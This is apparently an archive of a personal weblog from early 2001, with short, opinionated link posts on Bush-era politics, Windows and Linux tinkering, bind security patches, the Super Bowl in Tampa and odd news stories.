On what legal basis can Congressmen punish Clinton for his pardon of Marc Rich? I love how this MSNBC article buries in the third-to-last paragraph the fact that “there is nothing Congress can do about a presidential pardon unless the Constitution is changed. The president’s power to pardon is absolute and not subject to appeal.” Shouldn’t this be a little earlier in the article? More importantly, though, I would have hoped that the U.S. Congress had learned something from the Lewinsky impeachment debacle.

Former White House counsel John Dean wrote the best overview that I’ve read of the whole pardon scandal and impending Congressional investigation; his conclusion is that Congress has as much right to ask Clinton to testify as it does the right to ask a Supreme Court Justice to testify about a Court decision. He also points out an interesting conundrum — any attempt to file criminal charges would have to stem from the Department of Justice, yet whenever an ex-President is brought to court over actions committed when in office, he is entitled to representation by… the Department of Justice.

I know that everyone is pointing to this right now, but after reading some of the details, I can’t help sending people to read about IBM’s guilty past of assisting the Nazis with automating the drive to exterminate millions.

I think there’s a picture that rivals the now-famous Earth at NightThe Moons Of Earth. What an incredible shot.

What a bad, bad day for a Washington political newsweekly to loudly proclaim that it’s time to lessen security around the White House.

As a doctor, I feel it would be totally irresponsible not to educate the lay public about the most common drug side effects. (As seen in this week’s Onion.)

Just because my site has an RSS file available does not mean that it’s OK use software to take the posts and put them directly onto another weblog; having an RSS file is not opting into Radio Userland’s newest feature that does this. (And, in addition, there’s no way to turn off the creation of the RSS version of a Manila site without also turning off all syndication; this is something that people asked for a while ago, and as I recall, were told that it wouldn’t happen.) Perhaps the forked version of RSS needs to have an element in which people could place restrictions like this…

A cellphone with a full-color screen? It seems that every time I get a new toy, an even cooler one is announced, and jealousy ensues.

The Register has what seems to be the best overview of Microsoft’s proposed activation system, which will probably be built into the next versions of Windows and Office. As someone who does a lot of testing and building of development labs, I’m not terribly pleased with this addition, but I have a feeling that it will all shake out in the end.

Liquidifying my brain and drinking it? I guess thanks are in order, Tom… but it doesn’t mean that I’m not a wee bit spooked by it.

Yaaaay! The Shuttle is off, the Shuttle is off, and again, my addiction to space travel is further satisfied. And as a scientist (of sorts), I also think it’s damn cool that they’re attaching a science lab to the Space Station.

One thing I didn’t mention about my trip to Tampa was that I got to see the Space Station — as a bright light in the sky every night. I would have never predicted how bright it is; apparently, the addition of the new solar panels made it a hell of a lot brighter in the night sky.

Am I the only one who finds something a little hinky with lifting the words right off of someone’s weblog and throwing them onto your own? The only way to find out if Dave cribbed someone else’s thoughts is to hover over the little unlabeled widget to the right of each piece and then look in your browser’s status bar, or to click on the widget; clicking on it doesn’t bring you to the original item, though, but rather just sends you to the original author’s weblog’s main page. (Here’s a screenshot of the sites as seen tonight.)

How happy am I? For some reason, there’s a website in my referrer logs today that is the online companion to one of my favorite book series ever, Griffin and Sabine.

Between World New York and All Star Newspaper, I’ve got all my news needs covered. I really like World New York’s The Numbers feature — a good, hyperlinked verison of Harper’s Index.

Thank you, Brennan, for pointing out that Alyson Hannigan was one of FHM’s covergirls. I’ve always wondered what she would look like broken out of her Buffy role.

I love that political cartoonists are having a field day with Dubya’s faith-based charity attempts.

Joe Conason takes a good look at Ted Olson, who is a very conservative lawyer and is reported to be Bush’s soon-to-be-announced nominee for Solicitor General. Strangely, the man seems to have maken a life out of trying to get Clinton impeached, yet himself was investigated by an independent counsel and found to have played games with language in an effort to mislead Congress and the American people. And I ask again — this is Bush’s best attempt at bipartisan happiness?

Bookmark for myself: starting a command prompt in any folder with Windows 2000.

Jimmy frickin’ Buffett got ejected from today’s Knicks/Heat game? I mean, it wouldn’t be considered risky to put your money on Larry Johnson, or Latrell Sprewell, or even Anthony Mason in the ejection pool, but an outdated staple of 70s music? Who’da thunk it?

Congrats to Heather for the selection of Jezebel’s Mirror as a USA Today Hot Site. (Screenshot of the USA Today page, since it’s bound to change.)

And why is this screenshot so cool? Because it’s of my Linux box, with a HOBLink JWT Terminal Services client window showing the fully-controllable desktop of one of my Windows 2000 boxes. Snazzy.

I just spent half an hour with a colleague, trying to figure out an error we were getting while trying to define a foreign key in an Oracle database. The error message that we got didn’t make any sense, and what’s worse, the further explanation offered by the manual didn’t explain anything at all. It took another ten minutes or so of just looking at the data and the tables before the meaning became clear. What a crappy way to report your errors.

Oh, god, this is hilarious: Metric System Thriving In Nation’s Inner Cities.

Does anyone have any good recommendations for CD rippers/MP3 encoders for Linux? I’ve found grip, but what I don’t like is that the only control I have on the MP3 side of things is of the bitrate, but don’t get to control the frequency of the sampling. If you have apps that you like, please let me know!

I’m not sure, but something seems fishy about the makers of bind (one of the most used open-source pieces of software out there) discussing the creation of a members-only, strictly-controlled community (complete with non-disclosure agreements) to deal with bind-related security issues.

Have I mentioned how little I like the Republican party? In Virginia, they’ve managed to: get a bill requiring students to recite the Pledge of Allegiance through the state Senate, kill an open-container law, get a law through the state House allowing concealed weapons in bars, and kill a ban on carrying weapons into playgrounds and recreation centers. This is why I’m terrified of the next four years.

Bruce Tognazzini has a great diatribe this month, the Top 10 Reasons the Apple Dock Sucks. The first time I saw the dock, I realized how far from its roots Apple has strayed. The company used to be the single most authoritative source for user interface research and standards; now, it is a laughingstock.

There’s geeky, and then there’s geeky. (I guess this is for that Silicon Alley crowd that gets jealous of the weekenders cruising in the Village with their neon car kits.)

My blood is literally boiling right now, because according to our President, “The days of discriminating aginst religious institutions simply because they are religious must come to an end.” In addition, the full text of what Bush said into the microphone he didn’t know was on was reported:

See, this faith-based initiative really ties into a larger cultural issue that we are working on. When you’re talking about welcoming people of faith to help people who are disadvantaged, the logical step is also those babies.

MetaFilter once again comes through, though, with an example of Dubya himself discriminating against a religion. The beauty of news archives is proven again…

I’ve got a great idea: if you see a funnel-web spider (one of the world’s deadliest), don’t run away… catch the thing. Yeah, I’m right on that.

I found a great tool yesterday, HOBLink JWT. It’s a total Java implementation of a Windows Terminal Services client; it will allow me to manage some of my machines from afar, without the need for Internet Explorer. Cool.

Check this one out: the White House has quite possibly the most idiotic transcript of a press briefing on its website that I’ve ever seen. In the first paragraph, White House spokesman Scott McClellan introduces everyone to the press corps, including someone who shouldn’t be identified by name, only “on background,” as “a White House official.” What’s the problem? Since the transcript is word-for-word, and McClellan introduced the man by name, his name is right there in the first paragraph. Even more idiotic, the rest of the transcript reverts to calling him a “White House official.” You have to see this one to fully appreciate it. (I grabbed a screenshot, in case the page gets “corrected.”)

Ooooh! How did I not know that Duke/UNC is tonight?

Since I always seem to get dinged when I point to a particular ego on the web, I’ll let others do it for me. (Of course, the comments that everyone is talking about have been deleted from the site in question, but luckily, there’s an archived XML file; just search for “we rarely got a mention”.)

MetaFilter has done its job today by pointing me to a hilarious “condemnation” of Microsoft’s Wingdings font. Being a New Yorker just makes this all the funnier.

Holy shit — Pyra is down to only Evan Williams. Wow. While I had some clue when they asked for money for new servers, I really didn’t realize the situation that Pyra faced. I’m sad for Meg, Matt, Jack, and pb — they were part of something great.

Giggle.

CNN hops onto the geocaching bandwagon; meanwhile, it appears that a slew of new caches have appeared near my apartment. Perhaps I’ve got a new task for this weekend…

From the too-much-time department comes Hasciicam, a utility that takes input from a webcam and turns it into an ASCII picture. Don’t know if this one needed to be written…

As a followup to yesterday’s bind security posting, there’s a new Linux Weekly News issue today with pointers to the fix for most major Linux distributions. If you run bind on Linux, you really need to upgrade.

Something to chew on while I’m waking up:

The WSJ reports that yesterday, without realizing that his remarks were being broadcast on a feed to some White House reporters, President Bush told the heads of some Catholic charities that his faith-based social services initiative was linked to his goal of curtailing abortions, a connection he did not make when he announced the initiative earlier this week. During the same meeting, reporters were also able to hear Bush say that his plans for federal funding for school vouchers may not succeed because a lot of Republicans don’t like them.

The Village Voice (admittedly not the most unbiased news source) has what seems to be a good rundown on what we can expect our soon-to-be-confirmed Attorney General to do to abortion laws in this country. (Update: Ashcroft’s been confirmed. Groan.)

A few weeks back, my Linux box died (or, more specifically, the power supply died), and it wasn’t until yesterday that I got around to installing its replacement. It wasn’t until today that I realized that the dead power supply took a hard disk with it, and it happened to be the hard disk that I installed in the new box. So here I am, reinstalling Linux again. Fun.

How weird — I had no idea that pirates still existed. Four hundred and sixty nine attacks in 2000? Wow.

Thanks to Rafe for pointing out Molly Ivins’ latest column, the one pointing out that John Ashcroft is a member of the secret right-wing group Council for National Policy. Makes me really happy that this man will be the one deciding what laws to enforce.

Pathetic — way more Americans rank their car as the most important thing in their lives than do their kids or spouses.

Also pathetic — I can’t stand the fact that I don’t have a New York quarter yet. I’m about ready to ask cashiers to root through their registers for me…

It is truly scary how close we can get to another Columbine before a completely lucky break prevents it. A few neurons which recognize the stupidity in bringing photos of his arsenal into a quickie photo lab, and this guy may have pulled off his massacre.

Slate’s Culturebox takes aim at the omission of contemporary musicians from Ken Burns’ Jazz series.

I think it’s pretty great that, despite Ray Lewis winning the MVP in the Super Bowl, the “I’m going to Disneyland!” line went to Trent Dilfer. Perhaps it’s because nobody accuses Dilfer of either participating in or observing the stabbing deaths of two people in an Atlanta nightclub after last year’s Super Bowl.

A lot has been made of the vulnerabilities in bind, the domain name server that most of the ‘net runs on, and how intelligent crackers could do a lot more than deny access to Microsoft for a day. If you want to read a good technical summary of the vulnerabilities, COVERT Labs had put one together. (Most Linux distributions now have fixes available, too; while I can’t find a single page that points to the fixes, a good start is Linux Weekly News.)

Anyone out there feel like buying me the Ken Burns Jazz series on DVD? I’ve been listening to the CD box set of the show (a very kind holiday present from some family friends) a whole lot, and now I’m jonesing to see the entire series.

CBS pulled this Smirnoff ad from the Super Bowl, which is a damn shame seeing as it’s funnier than any other ad that was shown during the game.

A Chicago-area man suffered third-degree burns when a stripper at a club leaned into him to embrace him, causing him to lean backwards into a candle. Of course, he’s now suing her and the strip club for damages. This whole incident could have been avoided, though, if Harvey, IL had Tampa’s now-famous Six-Foot Law (which prevents nude dancing within six feet of patrons).

Note to Dubya: those who follow someone in a job are called “successors.”

I am mindful not only of preserving executive powers for myself, but for predecessors as well.

One example that helped put into focus my exact hatred of the Bush administration and the ideas that it represents: it’s now illegal to use United States money to fund abortions or abortion counseling, but it should be OK to use United States money to fund religion and religious activism. This is the President who spent the last few weeks telling us how centrist he would be?

(By the way, luckily, the ACLU is stepping into the breach on the faith-based charity proposal. Their concern is a huge one — that public money would be going to organizations which do not have to abide by U.S. civil rights laws — and, along with the basic violation of church and State issues, will spell the proposal’s demise if it ever makes its way off of the drafting table.)

My most recent pseudo-brush with fame: on my way out of my Tampa hotel room Monday morning, I heard someone passionately talking into the payphone about “how that show last night totally misrepresented” her, and how she really is a nice person, not manipulative or controlling like “they” made her out to be. I looked to see who it was, and it turned out to be Debb Eaton, the first person kicked off of the Survivor 2 island on Super Bowl night. Later, in the lobby, she was talking to her stepson-cum-fiancee about how it was only him that seemed weirded out by their stepmom-stepson relationship, and to everyone else, they appeared to be a normal couple who was in love. Yuck.

Happy Super Bowl Sunday — go Giants!

Here in Tampa, we’ve been listening (a lot) to the “Oops, I didn’t know the microphone was on!” Britney Spears audio clip, and laughing our asses off. The clear group favorite part: when she freaks out and screams “Oh, my pants are too short! I grew!”

Do me a favor, will you? Remind me to re-read the top ten SSH FAQs this week, when I set up my newest Linux box.

Cool — it appears that I made it onto Yahoo, in the Online Journals and Diaries > Web Logs category. (I took a screenshot, in case they realize how lame this site is and renege my membership.)

What a piece of shit decision by NBC, yanking this past week’s Law & Order episode from the air forever. I saw the episode, and it both didn’t seem to have much offensive potential and was based, in part, on the reality of the 2000 Puerto Rican parade. My TiVo, back in NYC, dutifully recorded the episode for me; if anyone wants a copy, I’d probably be willing to make a tape for you.

Today is the 15th anniversary of the loss of STS-51-L, known to most of the world as the Challenger space shuttle. Seventy-three seconds after liftoff, with a good deal of the U.S. watching on television, Challenger exploded, taking seven lives with it, including Christa McAuliffe, the first civilian passenger on the then-new space vehicle.

O.J. Simpson continues to appeal the verdict against him, and he continues to lose. What a joke he has become.

[Macro error: Can’t evaluate the expression because the name “discussionGroup” hasn’t been defined.]

Picture time — the photos from the first few days here in Tampa are up. Making showings are the SI trailer, my convertible rental (very important in Tampa), the stadium, the practice Air Force flybys, and all the people down here.

Eric Raymond has an interesting social experiment going on, one that has the side effect of adding function to the Linux environment. A bit strange.

Our President, eloquent as always:

My pro-life position is I believe there’s life. It’s not necessarily based in religion. I think there’s a life there, therefore the notion of life, liberty, and pursuit of happiness.

MetaFilter is just getting better and better. Between the incredibly well-tempered community and the seemingly-weekly addition of some new feature or shortcut, Matt has created one of the best little corners on the web.

Neale is a funny, funny bastard.

A few legislators in Puerto Rico are trying to pass a law which explicitly prohibits lawmakers from being drunk on the job; if the U.S. would consider passing similar restrictions, I have a feeling that we’d have a lot less stupidity coming out of Washington.

There is hope for me after all!

National Geographic has redrawn its world map; changes include a deeper deepest for the Dead Sea (411 meters), markers for all of the new U.S. national monuments, and reverting to the indigenous name Kolkata for what was previously Calcutta. And, coolest of all, National Geographic runs an Atlas Update site which provides software patches for their products and printable updates for their books. (Here’s the printable Kolkata update.)

The Boy Scouts are taking the first official action in support of its newly-minted ability to expel gays from its ranks — the organization is severing ties with seven Chicago-area troops because their sponsors are explicitly refusing to abide by the exclusionary policy. Sadly, it appears that these troops were all chosen to be the first ones to be expelled because they are in Oak Park, a community which has a long history of supporting gay rights.

It looks like someone’s a little grumpy about logging referrers… (Seen on my referrers page today.)

Apparently, Darva Conger wants to extend her fifteen minutes a little bit…

What a scary, scary town this Tampa is. We went out for a team dinner last night, and the place we went was overrun with middle-aged women in skin-tight, shiny snakeskin catsuits, men in full-on velvety white suits, and huge hair (for the women and men). The later the night got, the older the crowd got — and the more it turned into an out-and-out pickup scene. Scary, I tell you.

It’s been busy in Tampa, but today, I put a lot of digital pictures on my hard disk. Tomorrow, I’ll upload some of them; included are images of the B2 (stealth) bomber doing a practice flyby (as well as the same thing by the fighter jet formation team). Cooooool.

Okay, okay, for all you people lobbing partisan insults at the outgoing Clinton/Gore admininstration people for their now-notorious pranks, it turns out that the administration of pere Bush did the same damn thing. Thus, if it’s childish, it’s childish despite party affiliation.

In a web-based version of six degrees of separation, it turns out that the guy I mentioned yesterday, the one with one hand and a dozen nails sticking out of his forehead, went to high school with a weblogger, John Mulligan.

Here’s a great Windows 2000 tip on how you can access and prune almost every component of the operating system.

I finally found the weird piece of hardware I was looking for — a little box that takes serial input and translates it into keyboard output — but the damn thing didn’t come with one lick of documentation. And given that the company’s in England and tomorrow’s Saturday, I doubt that I’m going to solve this in time for the Super Bowl. Damn.

I’ve got to get some work done this morning, but I wanted to start it off with a doozy: Man accidentally saws off hand, then shoots nails into head. I can’t make this shit up.

And, in weirder news, “People have to understand that cold, stiff, blue people can be resuscitated.”. If I worked at CNN, I’d make damn sure that this made it to the pullquote level, big and bold and across the middle of the article.

Oh, and the digital cameras are here, and on top of that, the film processors are all set up, so I’ll post some pictures sometime soon.

Hello from chilly Tampa, Florida, home of Super Bowl 35. As soon as the Nikon D1s arrive from New York, there’ll be pictures…

The William P. Gottlieb Photographs from the Golden Age of Jazz — a bookmark that I cannot lose.

Dr. Mike has a terrific rant on the new presidency; I chuckled for a while after reading it. An excerpt:

So President Cokehead, a uniter, not a divider, took the oath of office from the man who put him there, a man decked out in the same stylish Gilbert and Sullivan Theatrical Society robes he wore to Bill Clinton’s impeachment gala in the US Senate. Bravo!

VisiBone, maker of my favorite HTML color reference mousepads, now has an incredibly cool set of popups for HTML design, available from their website or for download to your very own home on the ‘net.

Those incredibly bright people who brought you the CueCat are at it again, this time with a Cross pen that doubles as a barcode scanner for those stupid little cues. I wonder how long this one will take to hack.

Does anyone remember the Sex in the City where Samantha is plagued by the bad taste of her playtoy’s… well, his spunk? Too bad she didn’t know about Semenex — apparently, the product of “research into the phallic-worshipping religions of the ancient world.”

There was a little blow-up on the Frontier-Server email list overnight, a blow-up which (typically) has led to its demise as a Userland-hosted thing. A poster brought up that he had been asking Userland to fix a bug for a while, one which he considered a showstopper for his work, and that Userland finally had responded that they weren’t going to be able to devote time to the fix. He then mentioned that he was disappointed that Userland was going the more-glamour-in-adding-features-than-fixing-bugs route, and the response was like a small bomb going off. Nonetheless, Frontier-Server will now live at eGroups; since I don’t like eGroups a whole lot, and don’t trust them anywhere close to enough to give them my main email address, I think I’ll be leaving the list.

TiVo (or T-bone, as I’ve named my particular TiVo), has started recording Sports Night for me, and I can’t understand why the show went off the air. It’s genius, and so much better than most of the crap that the networks are showing right now.

I just found out about a good little tool that throws a big confirmatory step in when you try to open Office documents in Internet Explorer. (Of course, I agree with the prevailing opinion that things like this shouldn’t be add-ons, but rather should be part and parcel of Internet Explorer.)

Honestly, I’m depressed by the inauguration of the 43rd President of the United States. George W. Bush is so offensive to me as to make me wonder if this country has begun its decline. He is a spoiled rich kid who has never, ever had to hold an honest job in his life, has succeeded in fleecing hardworking people time and time again, and yet the people of this country Florida elected him to the highest office in the land. Depressing. (Strangely, though, The Onion got it exactly right.)

Eloquent words from the leader of our nation:

The California crunch really is the result of not enough power-generating plants and then not enough power to power the power of generating plants.

As part of the inauguration, the White House website flipped over (with one of the most uninspired, blah designs I’ve seen online in a while), and Bill Clinton’s eight years’ worth of websites made their way into the National Archives.

Could the graphic which accompanies this CNN story be the worst online graphic ever? It honestly looks like they spent all of 14 seconds using Microsoft Paint to cut and paste the thing together. (I’ve archived a copy of the page here, so future web generations can bask in its glory ad infinitum.)

I’m on call one more time (tomorrow), and then I get a nice, two-week vacation. I’m headed down to Tampa for the Super Bowl, but won’t be out of touch — I’ll be very wired down there, and probably will be updating much more than I have been while on this past rotation.

One thing I gained from this Salon article about urban exploration is that I definitely need to putter about in New York more. One of my favorite personal finds is the phantom subway station, shorter than a modern train and now abandoned, at around 91st Street and Broadway; I haven’t figured out an above-ground entry to it yet. Any other New Yorkers want to explore with me?

Back in July, I pointed to what many were calling a mistake in J.K. Rowling’s fourth Harry Potter book; later in August, I surmised that it probably wasn’t a mistake, instead meant to introduce a twist into the plot. Well, I was wrong.

One alleged NFL murderer is currently sweating the jury deliberations in his capital trial; another alleged NFL murderer is eagerly anticipating the spotlight of next weekend’s Super Bowl. What a terrific place the National Football League is.

Remind me to return to Brent’s inessential entry from today regularly; it holds a lot of import for any regular Frontier developer.

William Saletan has penned a little look at one of the first possible instances where Dubya’s inability to string subjects and verbs together coherently is hurting his actual policies and plans.

John Ashcroft has gained even more print, this time about his hand-penned words of thanks to Larry Pratt, director of the ultra-conservative group Gun Owners of America. What a wonderful man to have representing law and order in the United States. (Oh, and thanks to Andre Radke for pointing out my typo in yesterday’s entry about Ashcroft.)

I just started playing with the outlining stuff that comes into Manila via Radio Userland, and I’ve got to say, it’s damn interesting, and pretty cool.

It appears that, no matter how much you practice, there’s no guaranteeing that you won’t accidentally pierce your wife’s skull with an arrow during your William Tell circus act.

Despite having a large mobile divison, British Telecom has launched an ad campaign urging the English to forego making that cellphone call, and use a payphone instead. No, seriously.

Each weekday, Jim Metzner and National Geographic release a new Pulse of the Planet feature, self-described as “a two-minute sound portrait of Earth.” Today’s feature is the mating call of the Bulwer’s pheasant, as recorded in the Bronx Zoo. I have to remember to check this out more often; I’ve added it to my bookmark bar over on the right.

Boooo hissssss — Princeton Video Image is back in the news, this time for planning to add advertising to the electronically-generated first-down line in foreign broadcasts of this year’s Super Bowl.

It appears that John Ashcroft is every bit a problem appointee for Dubya. In addition to being an evil arch-conservative, he used Missouri state employees to do campaign work in his 1984 campaign for governor; his nephew also got preferential treatment in a 1992 bust for growing 60 pot plants with the intent to sell. (Mind you, at the time of that 1992 sentence, Ashcroft had pushed through legislation that would trigger Federal charges in cases where more than 50 plants were involved, but despite this, Alex Ashcroft only faced state charges.)

When all is said and done, I agree with Edward Lazarus: “If the Senate does reject Ashcroft, no one should lose sleep over it. It would be poetic justice for a man who deprived so many others of confirmations they rightly deserved.”

Ugh — I now work (part-time) for AOL. I would have never guessed this day would come.

Jen Bolton has put together a page of all the storTroopers created by webloggers — and hell if we all aren’t a strange looking bunch! Remind me that I should run the other way if I run into Miss Chicky in a dark alley…

OK, so it doesn’t appear that Dean Kamen was all that able to conceal the supersecret project he’s working on; it appears to be a superscooter. (The link to the entire WIPO patent application is here.)

If the coolest use for a 747 isn’t an airborne laser platform used to knock enemy missiles out of the sky, then I sure as hell don’t know what is.

Dahlia Lithwick has a good little reviewlet of the upcoming cases on the Supreme Court’s January docket. The Casey Martin and Kevin Murphy cases sound like they could be interesting.

I know, it gets tiresome when I link to the idiocies uttered by our new President-to-be, but I just can’t help it — he really is an idiot.

I want it to be said that the Bush administration was a results-oriented administration, because I believe the results of focusing our attention and energy on teaching children to read and having an education system that’s responsive to the child and to the parents, as opposed to mired in a system that refuses to change, will make America what we want it to be—a more literate country and a hopefuller country.

my storTrooper

Thanks to Cam, I decided to generate my very own alter ego — a MiniJason, if you will — over at the storTroopers site. Fun fun fun; imagine how happy the pediatrician in me was when I discovered that one of the “accessories” was a baby!

Wow! A new Volkswagon Microbus! (Although this highlights one of the things I hate about Flash-designed sites — I can’t bookmark a specific page within the site, nor can I avoid pointing you all to the Flash intro.)

If the first missive is at all representative, it looks like Salon is going to have a great round-up of Temptation Island every week. The classic excerpt from the premiere episode review:

In the good old days nobles and gentlemen settled disputes about women with glove-slaps to the face and duels, addressing each other as “Sir” all the while. The 21st century reality-TV version of this process involves the manager of an Athlete’s Foot shop dropping a Deadhead bracelet in front of a masseur on a Caribbean beach in an attempt to stop him from having on-camera monkey sex with his girlfriend.

The New York Supreme Court awarded exclusive custody of a surrogate child to the father last week, and if that isn’t rare enough, he’s gay. Most interesting, though, are the excerpts from the contract that the mother and father entered into; not exactly the most legal of language.

The new crazy, cop-hating freshman Representative in New Hampshire has resigned his seat, amid much concern that he didn’t properly inform the populace of his extreme anti-police opinions. Of course, we’ve come to expect the press to do that for us…

Dinkism of the Day:

I would have to ask the questioner. I haven’t had a chance to ask the questioners the question they’ve been questioning.

Interestingly, the class action bias suit against Microsoft is being tried in front of that self-same Judge Jackson. Don’t be too surprised if Microsoft requests a different judge. I think they can make a pretty solid case now that they can’t be guaranteed a fair trial in front of him.

I’m not completely sure of the process. I think that they would request that he remove himself from the case, and if he refuses then they’d appeal to the Circuit Court (the one which overturned him in ‘95 and probably will overturn much or most of his June decision), who probably would then order him off the case.

You have no clue how happy I am that all the SportsCenter commercials are now online. Even the oldies. Some of the best commercial ideas and scripts are in them thar archives…

I like this picture of the last eclipse of the second millennium. (The “home page” of the image is here.)

I understand that there’s generally a free pass given to the incoming President to name his cabinet members, but I really don’t think that it’s all that ludicrous to expect the Secretary of Labor nominee to have not violated fundamental U.S. labor laws.

You know why Microsoft’s going to win their appeals? Because Jackson, the judge in the inital trial, seems completely unable to hide his overwhelming, all-encompassing bias against the company, and there really is no way that an appeals court can ignore that. Jackson has now admitted that he has held a fundamental distrust of Microsoft since he was overturned in his 1995 decision that the company violated their consent decree. In addition, it’s funny that he feels Gates has a large ego — I really don’t know if I’ve ever come across a judge with as much of an ego as Jackson.

Wendell’s back, and we’re gonna be in trouble… (Hey na, hey na, Wendell’s back!)

If you live in New York, you benefit from a law passed by Governor Pataki last year which should make you happy. The “Do Not Call” law establishes a telemarketing registry which allows you to opt out of any and all telemarketing activities; companies which ignore your presence in the registry will be violating a law of New York. You can now get into the registry; the law takes effect on April 1 of this year.

I’m looking for an unusual piece of hardware, and am wondering if anyone out there can help. I want a box that has a serial input and a keyboard output; I send a serial signal in from my computer, and out come valid keyboard codes, so that I can control the keyboard-in port of another computer. I’ve found a single option, from a British company; are there any others? (Mail me…)

Car thieves drink HIV-infected blood; it really shouldn’t be all that shocking how often it’s proven that Darwin was right.

Wow — Fox is shuttering all of their websites. What I can’t tell from this article is whether the sites will continue to operate, just under their parent company’s banner, or if they will truly be shut down; nonetheless, I figured that the media sites would survive the year, but I guess I was wrong.

This promises to be interesting, for sure… (Oh, and I’m not the Jason referenced therein.)

OK, this is pretty damn funny (found via Alwin).

Clinton continues to use is end-of-term status to push the nominations of Federal judges through to the bench. One of the highly-unrecognized travesties of the last eight years is how Republican leaders in Congress sat on most of these nominations, not approving them but also not rejecting them, leaving enormous holes in the Federal judicial pool.

Jeb Bush has been subpoenaed to appear before the U.S. Commission of Civil Rights, in its inquiry into the Florida election. Interesting.

This is a tough one for me: Pyra is asking for donations to cover new servers for their bang-up web app, Blogger. I have a Blogger account, but don’t use it at all; that being said, I really do believe that they have added something truly significant to the web, and that supporting that is something that I should do. Time to think a little bit… I’ll decide by bedtime.

Awesome — it appears that the upcoming Microsoft X-Box will have an ethernet port built-in. How awesome will it be for people to be able to hook this puppy right up to their broadband connections? I wonder how long it will take broadband ISPs to ban connecting it to their networks, what with the bandwidth it will consume.

From the What-The-Hell-Is-He-Talking-About department comes one of the latest quotes from the man that a minority of the country elected to be President:

Natural gas is hemispheric. I like to call it hemispheric in nature because it is a product that we can find in our neighborhoods.

A Michigan local police department has removed rainbow stickers from all of its police cars after learning that they represent tolerance for homosexuals. My two thoughts on this: first, how much more clueless could they possibly be, not knowing what the rainbow symbol generally means? Second (and more importantly), though, what if they had put stickers on the cars which (unknown to them) represented tolerance for blacks? Would they have removed the stickers then? I can’t imagine that they would have; removing the rainbow stickers smacks of intolerance for gay issues.

Hey — there’s a new service pack for Microsoft Office 2000. I cannot stand, though, that you have to have your original installation media around in order to install the service pack; it’s one of the most poorly-designed updaters around.

Best wishes to Greg, his wife, and their families.

There’s no way I could make this one up: a man pled guilty today to attempted murder and elevated aggravated assault after attacking his son with a crowbar when he discovered the lad having sex with the family dog. Wait, let me clarify that — the son was in “an ongoing sexual liason with the dog.”

(And I just discovered that one no longer has any chance of beating a MetaFilter poster; I posted the above link, and then wandered over to MF just to see that someone got it up there yesterday. Damn.)

“Many of my friends lived like this; it was temporary, we thought, part of being young. One day we’d get real jobs and move into real apartments with leases and airtight windows and nothing that crumbled when we touched it.” For those of you who have heard about the New York City housing crunch, here’s a great article from the Times that explains just how bad it’s getting. (I, on the other hand, lucked out almost six years ago by falling into a rent-stabilized two-bedroom, before the crunch was that bad and before the rent stabilization laws were drastically changed.)

I had no idea that the Times Metropolitan Diary column archives were online — it’s my favorite column of the paper, yet I rarely remember to read it on Mondays. Now I can read it anytime!

William Rehnquist, in a prime example of stating the obvious, told Congress today that the U.S. court system was “severely tested” by the 2000 Presidential election. Of course, Bill ain’t a stranger to getting involved in Presidential elections; there’s decent evidence that he participated in efforts in Phoenix years ago to intimidate immigrant voters out of the voting lines.

(Has anyone else noticed that if you bookmark a CNN.com page in Internet Explorer 5, you end up with the Netscape icon next to the bookmark in your Favorites menu? Why would they use the Netscape icon as their favicon.ico?)

Hot damn! The snow here in New York City is completely amazing. My fire escape looks particularly awesome — the snow is piled up only on the little grates, so it looks like an eight-inch-tall waffle. Supercool.

I’m sure that there’s a business model here somewhere…

This MSNBC article on the biggest tech flops of 2000 is a good read, if for no other reason than the “Napster Excuse Game” at the bottom.

(Oh, and once again, does anyone else find it at all ironic that Napster is suing another company over copyright violations?)

Has anyone seen my metababy? I miss it.

For those wondering what will become of the current White House website once Dubya is inaugurated, look for it at http://www.clinton.nara.gov/ — the National Archives and Records Administration is giving a home to all four versions of the Clinton/Gore Administration’s website.

I must give a big, fat thank you to MetaFilter for keying me onto the fact that Dubya very well may be an animatronic robot. I just want to know why they don’t have the third picture that they talk about in the article…

Sherry Colb, an ex-Supreme Court clerk, has a detailed look at why the Justice ain’t as principled as many think he is. Free speech is a convenient excuse for him when he agrees with the belief being voiced; when he doesn’t, then some other principle comes to the forefront.

Addictive much?

While handy, Symantec’s LiveUpdate feature is also a pain in the ass, as is the company. I have two Symantec apps on my machine, WinFax and Norton AntiVirus. LiveUpdate says that there’s an update available for both apps, but when it first tries to get the WinFax update, it fails — and then doesn’t allow any further updates. And despite the fact that I’ve paid for my annual LiveUpdate license, there’s no real tech support available for the product; the email that I sent them (as per their tech note) generated an autoreply that explicitly says that I won’t receive any real reply from them. The fuckers.

I think I’ve found a new source for my Windows desktop images — NASA’s Visible Earth. As of now, the site has 23.586 gigabytes worth of images of Earth from space.

Most anyone who works in a big hospital can tell you about the rise of antibiotic-resistant buggies; you waste precious time treating them inadequately while you’re waiting for the cultures to come back, then you throw everything you have at the infection, hoping to control it just enough to let the body’s immune system finish the job, and all the while, you hope to whatever diety you hold dear that other patients on the ward don’t get the resistant bug.

You know those Philip Morris ads trumpeting their donation of millions to social causes? Did you know that they spent $108 million on that advertising campaign? Think about that.

Mickey Kaus looks at the seemingly-meaningless press recount in Lake County, Florida, and finds true meaning — if the numbers extrapolate, it looks like Gore would have won Florida by any standard that you applied to recounting the votes. (Meanwhile, I love the lengths to which the GOP seems willing to go in order to try to stop the press recount of the ballots in Florida.)

Wayne Barrett: The Five Worst Republican Outrages. Details what, in Barrett’s opinion, were the five biggest disingenuous or backhanded moves made by the GOP in Florida during the vote recount saga.

Eric Alterman offered up his Best and Worst of 2000 — damn, it’s a terrific list.

Today, New York Governor George Pataki made an uncharacteristic funny while introducing a new political appointee. The appointee acknowledged that he had a prior DWI conviction as well as a speeding ticket; that’s when Pataki chimed in, “I guess that qualifies you to be President of the United States.” Apparently, the crowd silenced, and there was an uncomfortable pause before things got going again.

Pssst… there’s a nice picture of Meg and Ev in the New York Times today.

This past week, someone (humorously named “I.C. Wiener”) published a program which ostensibly generates security codes via the same algorithm used by SecurID tokens. I’m not sure what this means for the security of the SecurID system.

My favorite Christmas present this year: my new cordless drill.

Good morning, world. I’m off of work for three days (the biggest possible luxury I could ever hope for), and just wanted to reassure those who have mailed that I am, in fact, alive.

Welcome back to the world of the living, MetaFilter. I almost went into status epilepticus without you…

Oh, and I’d love to pass on one of the best news compilation sources I’ve found in a while — The All-Star Newspaper, which appears to be a service of Brill’s Content.

This probably won’t surprise people, but I’m fairly terrified of the brand of “justice” that John Ashcroft, Dubya’s nominee for Attorney General, seems to practice.

I will definitely have to return to The HoneyNet Project.

